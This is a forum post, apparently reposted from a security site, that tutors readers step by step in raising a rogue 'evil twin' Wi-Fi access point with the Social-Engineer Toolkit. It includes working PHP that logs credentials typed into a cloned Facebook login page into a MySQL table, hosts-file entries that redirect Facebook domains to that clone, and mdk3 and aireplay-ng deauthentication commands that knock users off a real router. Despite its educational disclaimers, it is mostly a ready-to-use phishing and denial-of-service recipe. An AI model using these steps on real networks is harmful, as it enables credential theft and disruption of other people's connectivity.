Jump to content
Wubi

Raising a Rogue Access Point

By Wubi, in Tutoriale in engleza

Recommended Posts

Wubi Newbie

Wubi

Posted
Posted

Introduction

Before beginning this article I want to clear up some stuff about awareness. Everything that is going to be described in this article must be used only for educational purposes. A tool could be used not only for good purposes, but also for doing a bad thing to users, like stealing their credentials, which by law is a crime and must be punished. So I will describe how you can make an access point and see the possibilities that might happen in real life, so in other words this is a real life scenario; thus we must prevent it. A rogue access point is a spot to where you can connect your machine, where the data that is transmitted through is recorded (sniffed) or redirected to fake web pages. Stealing data with fake web pages is called a phishing attack. So enjoy this article and this journey and see how attackers want to play with people’s ignorance, and how they can trick you to fall in their trap.

  1. Recommended Reading and Tools

    2. Rogue access point - Wikipedia, the free encyclopedia
    3. The Rouge Wireless Device Problem - Webopedia.com
    4. How To Secure Your Wireless Network: Identifying Rouge Wireless Devices | Joey Muniz - The Security Blogger
    5. Social Engineering Videos and Tutorials
    6. https://www.trustedsec.com/downloads/social-engineer-toolkit/
    7. Recommended tools:

      1. Back Track 5 r3
      2. dhcpd3-server
      3. Apache web server
      4. MySQL
      5. SET – Social-Engineering toolkit
      6. Wi-Fi – USB or laptop doesn’t matter as long as it is supported by the applications of Back Track.





        1. Raising a Rogue Access Point
          100812_1613_RaisingaRog1.png

Making a rogue Access Point is not a hard task, especially when you have tools that are meant to do that. This is dangerous if you use it in public places like shopping malls or some conferences where the Internet connection is important for people addicted to Facebook, Twitter or Google products (there are a lot of them). Imagine that you bring down an existing Access Point, and trick everyone to connect to your rogue Access Point, that way you will get a lot of private data. We will start our scenario first with using SET – Social-Engineering Toolkit.

100812_1613_RaisingaRog2.png

Figure 1. Starting SET

When you open it, you will see a lot of options, a myriad of them. When starting your first time with SET, you will see that you have to agree to use the tool for educational and legal purposes only. This is a great tool for penetration testing in a company, to see if the employees are vulnerable to social engineering attacks.

100812_1613_RaisingaRog3.png

Figure 2. SET interface

For our scenario we will use the first option, Social-Engineering Attack, where you are offered again with many options. In this section we have a lot of interesting options that can be used for penetration testing like: browser exploitation, execution of evil code on client side, spoofing of SMS by sending a message, QRCode exploiting… and most important for our scenario, Wireless Access Point Attack Vector (its number is 8).

100812_1613_RaisingaRog4.png

Figure 3. SET attack vectors

After using the Wireless Access Point Attack Vector, now we can START or STOP our Access Point, but before starting it, we must configure some applications. For using this attack vector, as you can see from the description: “This attack vector requires AirBase-NG, AirMon-NG, DNSSpoof, and dhcpd3?. With the default installation of Back Track 5, most of them are properly configured, except for dhcpd3.

100812_1613_RaisingaRog5.png

Figure 4. SET attack vectors

100812_1613_RaisingaRog6.png

Figure 5. Installing dhcp3-server

So we need to install “dhcp3-server”. To install it, just type “sudo apt-get install dhcp3-server”. As you can see you will get an error that is not allowing the service to start. To fix that error we need to open with “vi” editor the configuration file “dhcp3-server” in directory “/etc/default/”. Add “at0?, and that will allow us to use a range of IP

addresses.

100812_1613_RaisingaRog7.png

Figure 6. Editing the configuration file

GOOD! Now we are going back to the terminal when we can START or STOP the Wireless Access Point Attack Vector as displayed in figure 4. When you click “START the Wireless Access Point Attack Vector”, it will open the same file with nano editor that was previously edited when we added the name of the interface (at0), but do not make any changes, just close it with CTR-X. Also choose the range of IP addresses you will be using for your Access Point. In this article I have chosen the second option (range 192.168.10.100-254).

100812_1613_RaisingaRog8.png

Figure 7. Picking the address range

With this step we will make every user that will connect to our Access Point to have an IP address. If the activation is successful you will get the following message displayed in figure 8.

100812_1613_RaisingaRog9.png

Figure 8. SET rogue Access Point activated

If the Access Point is up, you will get the following results displayed in figure 9, 10 and 11. As displayed in figure 11, I raised an Apache server, just to see and be sure that my Access Point is working properly.

100812_1613_RaisingaRog10.png

Figure 9. Results of raising an Access Point

100812_1613_RaisingaRog11.png

Figure 10. Successful usage of dhcp3-server

100812_1613_RaisingaRog12.png

Figure 11. Testing the Access Point

If you succeed to raise an Access Point, the name of it will not be “evil”, but “linksys”. You can change the name of it in the following files: “/pentest/exploits/set/config/set_config” and “/pentest/exploits/set/config/set_config.py”. It is under the “ACCESS_POINT_SSID=linksys” parameter in both files. Just to know, SSID (Service Set Identifier) is a 32-character key (name) used to identify Wi-Fi (Access Points).

  1. Making a Phishing Scenario

The next step is to use the current Access Point and make a phishing scenario. In order to make such a scenario i prefer doing the stuff manually, because it is better to know how really things work. For this article I cloned the front page of www.facebook.com, and changed a bit. I have also made a database table in MySQL for this phishing scenario. You can create a MySQL database in Back Track using these commands:

  1. mysql –h localhost –u root –p
  2. Enter password: toor
  3. CREATE DATABASE hax0r;
  4. USE hax0r;
  5. CREATE TABLE hacked (
    id INT,
    username VARCHAR(100),
    password VARCHAR(100)
    );

100812_1613_RaisingaRog13.png

Figure 12. Making a database and table for the phishing scenario

The creation of the database is also shown in figure 12. The next step is to insert a record in our database and see if it is working correctly. We have the following PHP code:


$con = mysql_connect(“localhost”,”root”,”toor”);
if (!$con)
{
die(‘Could not connect: ‘ . mysql_error());
}
mysql_select_db(“hax0r”, $con);
mysql_query(“INSERT INTO hacked (username, password) VALUES(‘eat@me.com’, ‘lool’)”);
mysql_close($con);
?>
<?php

If the execution of this PHP code is successful, it will result in inserting a new record in the table.

100812_1613_RaisingaRog14.png

Figure 13. Testing the phishing web site

As I said previously, I have made a modified www.facebook.com, and also combined the PHP code with it. The main idea here is to take the values that are inserted in “Email or Phone” and “Password”, and insert them in database.

100812_1613_RaisingaRog15.png

Figure 14. Facebook clone

To make the site appear when users enter www.facebook.com in their browser, I added the following links in “/etc/hosts”.


127.0.0.1 [URL="http://www.facebook.com"]Willkommen bei Facebook - anmelden, registrieren oder mehr erfahren[/URL]
127.0.0.1 facebook.com
127.0.0.1 static.ak.fbcdn.net
127.0.0.1 [URL="http://www.static.ak.fbcdn.net"]www.static.ak.fbcdn.net[/URL]
127.0.0.1 login.facebook.com
127.0.0.1 [URL="http://www.login.facebook.com"]www.login.facebook.com[/URL]
127.0.0.1 fbcdn.net
127.0.0.1 [URL="http://www.fbcdn.net"]Willkommen bei Facebook - anmelden, registrieren oder mehr erfahren[/URL]
127.0.0.1 fbcdn.com
127.0.0.1 [URL="http://www.fbcdn.com"]Willkommen bei Facebook - anmelden, registrieren oder mehr erfahren[/URL]
127.0.0.1 static.ak.connect.facebook.com
127.0.0.1 [URL="http://www.static.ak.connect.facebook.com"]www.static.ak.connect.facebook.com[/URL]
# Redirect to Achebook.com

Now I have modified the PHP script again so that everything that is submitted in the login screen will be inserted in the database.


$con = mysql_connect(“localhost”,”root”,”toor”);
if (!$con)
{
die(‘Could not connect: ‘ . mysql_error());
}
mysql_select_db(“hax0r”, $con);
if(isset($_POST["email"])){echo “email:”.$_POST["email"].”<br/>”; $email = $_POST["email"];}
if(isset($_POST["pass"])){echo “pass:”.$_POST["pass"]; $pass = $_POST["pass"];}
if (isset($_POST["email"]) &&isset($_POST["pass"])){
$query = “INSERT INTO hacked (username, password) VALUES(‘$email’, ‘$pass’)”;
mysql_query($query);
mysql_close($con);
}
?>
I added the two lines to see if the characters I am entering are really inserted.
if(isset($_POST["email"])){echo “email:”.$_POST["email"].”<br/>”; $email = $_POST["email"];}
if(isset($_POST["pass"])){echo “pass:”.$_POST["pass"]; $pass = $_POST["pass"];}
<?php

To test our scenario, we will type in our browser www.facebook.com and see if it is working.

100812_1613_RaisingaRog16.png

Figure 14. The site is working…YUPPIIIII.

  1. Wi-Fi Denial Of Service

100812_1613_RaisingaRog17.png

If we want our Access Point to be more exposed to a bigger mass of users, we will make a DoS – Denial of Service attack on an existing Access Point. Making a clone of an existing Access Point and raising another one with the same name, but with malicious intentions, is called Evil Twin. The first thing we need to do, is to perform scanning and search for existing Access Points. In Back Track 5 r3, we can do that with “iwlist wlan0 scan”, and the results you’ll get will be like in figure 15.

100812_1613_RaisingaRog18.png

Figure 15. Scanning for Access Points

The first “Cell 01? is my home Wi-Fi router, and I will use it to perform a DoS attack. From the result of scanning we can extract the following information: Address, Channel and ESSID. So I have C0:3F:0E:5E:26:6C, the channel is 6, and ESSID is “Doma”. The next step is to use airmon-ng and set our Wi-Fi interface to monitor mode. To start monitor mode type “airmon-ng start wlan06?.

100812_1613_RaisingaRog19.png

Figure 16. Starting monitor mode

After starting monitor mode we will use “mdk3? for making Denial Of Service. The interface of the application is displayed in figure 17, where you can see that there are a lot of options. If the options are combined it might become pretty dangerous and could bring the whole Wi-FI or WLAN network down.

100812_1613_RaisingaRog20.png

Figure 17.mdk3 options

For attacking our target we need its Address and ESSID, we can use that information from figure 15. We will utilize these pieces of information for activating “Deauthentication / Disassociation Amok Mode” which have the following description “Kicks everybody found from AP”. We can launch that attack by typing the following command “mdk3 mon0 d –b list –c 6?. “mon0? is the interface for monitoring that previously we created, “d” is the mode for “disassociation amok”, and the option “-b” is a simple text file containing the address of our target, and “-c”holds value 6, which is the channel of the Wi-Fi.

100812_1613_RaisingaRog21.png

Figure 18. Deauthentication / Disassociation Amok Mode

Open a new terminal tab and start mdk3 with option “a” for “Authentication DoS”, and option “-m” for canceling all the authentication traffic, and fill the option “-i” with the physical address of your Wi-Fi card.

100812_1613_RaisingaRog22.png

Figure 19. Authentication DoS

100812_1613_RaisingaRog23.png

Figure 20. Aireplay-ng options menu

100812_1613_RaisingaRog24.png

Figure 21. Aireplay-ng in action

On the official aircrack-ng page you will see that aircrack-ng could be employed for different scenarios, and that there are a lot of options for using and combining different types of attacks. All of them are pretty simple to use, but the effects are devastating to the network that is attacked. With “aircrack-ng” and with the option “-0? we can send deauthentication packets to the clients that are connected or want to connect on a particular Access Point. “1000? is a defined number of packets that will be sent. Now after some time let’s see what has happened. Open the Network Manager and see the results. Now I am pretty in a bad situation, because my router started to freak out and doesn’t allow me to login to it, which is bad. This is a perfect opportunity to raise a fake Access Point, but as I have mentioned before this is only for penetration testing and any misuse of it must be punished by law.

100812_1613_RaisingaRog25.png

Figure 21. No more networks

100812_1613_RaisingaRog26.png

Figure 21. No more logins for you mister!!!

Conclusion

When I hear the words, “My network is safe and it doesn’t need additional protection”, I start to laugh so much, sometimes I think I’ll get a heart attack. There is no 100% bullet proof security, especially in a time when technology advances fast. Remember this: “Everything is buggy”, and that is because we are humans and we make mistakes, sometime very stupid mistakes, because of lack of knowledge and we think that we are doing things the right way. But what is the right way, what is the wrong way of doing things? That is a tricky question, today there is a lot of information and the abstraction and complexity of things makes it even harder for us to understand what is truly right and wrong.

  1. References and Useful Links




    1. Sursa InfoSec Institute Resources
  2. http://kb.netgear.com/app/answers/detail/a_id/1142/~/what-is-a-wireless-network’s-ssid%3F
  3. How To Block Facebook Using Hosts File | Cariblogger.com
  4. airmon-ng [Aircrack-ng]
  5. A day with Tape: MDK3 - network traffic disruption
  6. No Useful Articles Here....: [Tutorial] Wireless Havoc With MDK3!! (IV)
  7. Enc0de's blog: ((W)) Interface's of mass D357RUC7I0N.
  8. aireplay-ng [Aircrack-ng]
  9. deauthentication [Aircrack-ng]

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
Go to topic listing
×
×
  • Create New...